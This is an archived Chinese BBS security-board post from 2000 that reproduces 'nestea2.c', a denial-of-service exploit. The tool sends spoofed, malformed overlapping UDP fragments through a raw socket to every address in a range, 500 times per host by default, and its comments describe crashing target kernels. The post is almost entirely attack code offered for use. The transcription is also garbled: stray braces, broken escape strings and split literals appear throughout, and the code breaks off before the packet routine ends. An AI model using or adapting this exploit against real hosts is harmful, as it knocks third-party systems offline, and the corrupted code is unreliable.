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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="330.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>
标 题: nestea2.c <br>
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:48:38 2000), 站内信件 <br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <unistd.h> <br>
#include <string.h> <br>
#include <netdb.h> <br>
#include <netinet/in.h> <br>
#include <netinet/udp.h> <br>
#include <arpa/inet.h> <br>
#include <sys/types.h> <br>
#include <sys/time.h> <br>
#include <sys/socket.h> <br>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING <br>
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 <br>
*/ <br>
#define FIX(n) (n) <br>
#else /* OpenBSD 2.1, all Linux */ <br>
#define FIX(n) htons(n) <br>
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */ <br>
#define IP_MF 0x2000 /* More IP fragment en route */ <br>
#define IPH 0x14 /* IP header size */ <br>
#define UDPH 0x8 /* UDP header size */ <br>
#define MAGIC2 108 <br>
#define PADDING 256 /* datagram frame padding for first packet */ <br>
#define COUNT 500 /* we are overwriting a small number of bytes we <br>
shouldnt have access to in the kernel. <br>
to be safe, we should hit them till they die :> */ <br>
struct ipstuph <br>
{ <br>
int p1; <br>
int p2; <br>
int p3; <br>
int p4; <br>
} startip, endip; <br>
void usage(u_char *); <br>
u_long name_resolve(u_char *); <br>
u_short in_cksum(u_short *, int); <br>
void send_frags(int, u_long, u_long, u_short, u_short); <br>
int main(int argc, char **argv) <br>
{ <br>
int one = 1, count = 0, i, rip_sock, j, bequiet = 0; <br>
u_long src_ip = 0, dst_ip = 0; <br>
u_short src_prt = 0, dst_prt = 0; <br>
char hit_ip[18], dst_ip2[18]; <br>
struct in_addr addr; <br>
fprintf(stderr, "\n;34mNestea v2 0;34moriginally by0m: ;34mhumble 0;34m+ <br>
;34 <br>
mttol mods0m\n"); <br>
fprintf(stderr, "0;34mColor and Instructions was done by 0m: ;34mttol0m\ <br>
n"); <br>
fprintf(stderr, ";34mNote0m : ;34mttol released Nestea v2. humble had n <br>
othi <br>
ng to do with \n it, don't nag him about it. -ttol@ttol.net0m\n\n"); <br>
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) <br>
{ <br>
perror(";34mraw socket0m"); <br>
exit(1); <br>
} <br>
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(on <br>
e)) <br>
< 0) <br>
{ <br>
perror("IP_HDRINCL"); <br>
exit(1); <br>
} <br>
} <br>
if (argc < 4) usage(argv[0]); <br>
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2] <br>
))) <br>
{ <br>
fprintf(stderr, ";34mWhat the hell kind of IP address is that?0m\n") <br>
; <br>
exit(1); <br>
} <br>
strcpy(dst_ip2,argv[3]); <br>
if(sscanf(argv[2],"%d.%d.%d.%d",&startip.p1,&startip.p2,&startip.p3, <br>
&startip.p4) != 4) <br>
{ <br>
fprintf(stderr, ";34mError, arg2(startip) 0m: 0;34mNeed an ip that con <br>
tain <br>
s 4 zones0m\n"); <br>
exit(1); <br>
} <br>
if (startip.p1 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 1 of start ip is incorrect \ <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
} <br>
if (startip.p2 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 2 of start ip is incorrect \ <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if (startip.p3 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 3 of start ip is incorrect \ <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if (startip.p4 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 4 of start ip is incorret \ <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if(sscanf(argv[3],"%d.%d.%d.%d",&endip.p1,&endip.p2,&endip.p3, <br>
&endip.p4) != 4) <br>
{ <br>
fprintf(stderr, ";34mError, arg3(endip) 0m: [[0;34mNeed an ip that \ <br>
contains 4 zones[[0m\n"); <br>
exit(1); <br>
} <br>
} <br>
if (endip.p1 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 1 of end ip is incorrect \ <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if (endip.p2 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 2 of end ip is incorrect \ <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if (endip.p3 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 3 of end ip is incorrect <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if (endip.p4 > 255) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 4 of end ip is incorrect <br>
(greater than 255)0m\n"); <br>
exit(1); <br>
} <br>
if (startip.p1 != endip.p1) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 1 of start ip and end ip is d <br>
iffe <br>
rent0m\n"); <br>
exit(1); <br>
} <br>
if (startip.p2 != endip.p2) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 2 of start ip and end ip is d <br>
iffe <br>
rent0m\n"); <br>
exit(1); <br>
} <br>
if (startip.p3 != endip.p3) { <br>
fprintf(stderr, ";34mError 0m: 0;34mZone 3 of start ip and end ip is d <br>
iffe <br>
rent0m\n"); <br>
exit(1); <br>
} <br>
while ((i = getopt_long(argc, argv, "s:t:n:q")) != EOF) <br>
{ <br>
switch (i) <br>
{ <br>
case 's': /* source port (should be emphemeral) */ <br>
<br>
<br>
src_prt = (u_short)atoi(optarg); <br>
break; <br>
case 't': /* dest port (DNS, anyone?) */ <br>
dst_prt = (u_short)atoi(optarg); <br>
break; <br>
case 'n': /* number to send */ <br>
count = atoi(optarg); <br>
break; <br>
case 'q': /* quiet mode */ <br>
bequiet = 1; <br>
break; <br>
default : <br>
usage(argv[0]); <br>
break; /* NOTREACHED */ <br>
} <br>
} <br>
srandom((unsigned)(time((time_t)0))); <br>
if (!src_prt) src_prt = (random() % 0xffff); <br>
if (!dst_prt) dst_prt = (random() % 0xffff); <br>
if (!count) count = COUNT; <br>
fprintf(stderr, ";34mDeath 0;34mon flaxen wings (;34myet again0;34m)0m:\ <br>
n"); <br>
n"); <br>
addr.s_addr = src_ip; <br>
fprintf(stderr, ";34mFrom0m: 0;34m%15s.%d0m\n", inet_ntoa(addr), src_prt <br>
); <br>
addr.s_addr = dst_ip; <br>
fprintf(stderr, " ;34mTo0m: 0;34m%15s - %s.%d0m\n", inet_ntoa(addr), <br>
dst_ip2, dst_prt); <br>
fprintf(stderr, " ;34mAmt0m: 0;34m%5d0m\n", count); <br>
if (bequiet) fprintf(stderr, "0;34m[;34mquiet mode0;34m] 0;34mEach';34m. <br>
0;34 <br>
m' represents a nuked ip. 0;34m[0m"); <br>
for (j=startip.p4; j <= endip.p4; j++) <br>
{ <br>
sprintf(hit_ip,"%d.%d.%d.%d",startip.p1,startip.p2,startip.p3,j); <br>
if (!(bequiet)) fprintf(stderr, "0;34m%s ;34m[ 0m", hit_ip); <br>
if (!(dst_ip = name_resolve(hit_ip))) <br>
{ <br>
fprintf(stderr, "0;34mWhat the ;34mhell 0;34mkind of IP address is <br>
tha <br>
t?0m\n"); <br>
exit(1); <br>
} <br>
for (i = 0; i < count; i++) <br>
{ <br>
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); <br>
if (!(bequiet)) fprintf(stderr, "0;34md;34m000;34mm 0m"); <br>
usleep(500); <br>
} <br>
if (bequiet) fprintf(stderr, ";34m.0m"); <br>
else fprintf(stderr, "0;34m]0m\n"); <br>
} <br>
if (bequiet) fprintf(stderr, "0;34m]0m\n"); <br>
return (0); <br>
} <br>
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, <br>
u_short dst_prt) <br>
{ <br>
int i; <br>
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ <br>
u_char byte; /* a byte */ <br>
struct sockaddr_in sin; /* socket protocol structure */ <br>
sin.sin_family = AF_INET; <br>
sin.sin_port = src_prt; <br>
sin.sin_addr.s_addr = dst_ip; <br>
packet = (u_char *)malloc(IPH + UDPH + PADDING+40); <br>
p_ptr = packet; <br>
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); <br>
byte = 0x45; /* IP version and header length */ <br>
memcpy(p_ptr, &byte, sizeof(u_char)); <br>
p_ptr += 2; /* IP TOS (skipped) */ <br>
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(242); /* IP id */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = 0x40; /* IP TTL */ <br>
byte = IPPROTO_UDP; <br>
memcpy(p_ptr + 1, &byte, sizeof(u_char)); <br>
p_ptr += 4; /* IP checksum filled in by kernel * <br>
/ <br>
*((u_long *)p_ptr) = src_ip; /* IP source address */ <br>
p_ptr += 4; <br>
*((u_long *)p_ptr) = dst_ip; /* IP destination address */ <br>
p_ptr += 4; <br>
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */ <br>
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin, <br>
sizeof(struct sockaddr)) == -1) <br>
{ <br>
perror("\nsendto"); <br>
free(packet); <br>
exit(1); <br>
} <br>
p_ptr = packet; <br>
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); <br>
byte = 0x45; /* IP version and header length */ <br>
memcpy(p_ptr, &byte, sizeof(u_char)); <br>
p_ptr += 2; /* IP TOS (skipped) */ <br>
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = htons(242); /* IP id */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */ <br>
p_ptr += 2; <br>
*((u_short *)p_ptr) = 0x40; /* IP TTL */ <br>
byte = IPPROTO_UDP; <br>
memcpy(p_ptr + 1, &byte, sizeof(u_char)); <br>
p_ptr += 4; /* IP checksum filled in by kernel * <br>
/ <br>
*((u_long *)p_ptr) = src_ip; /* IP source address */ <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
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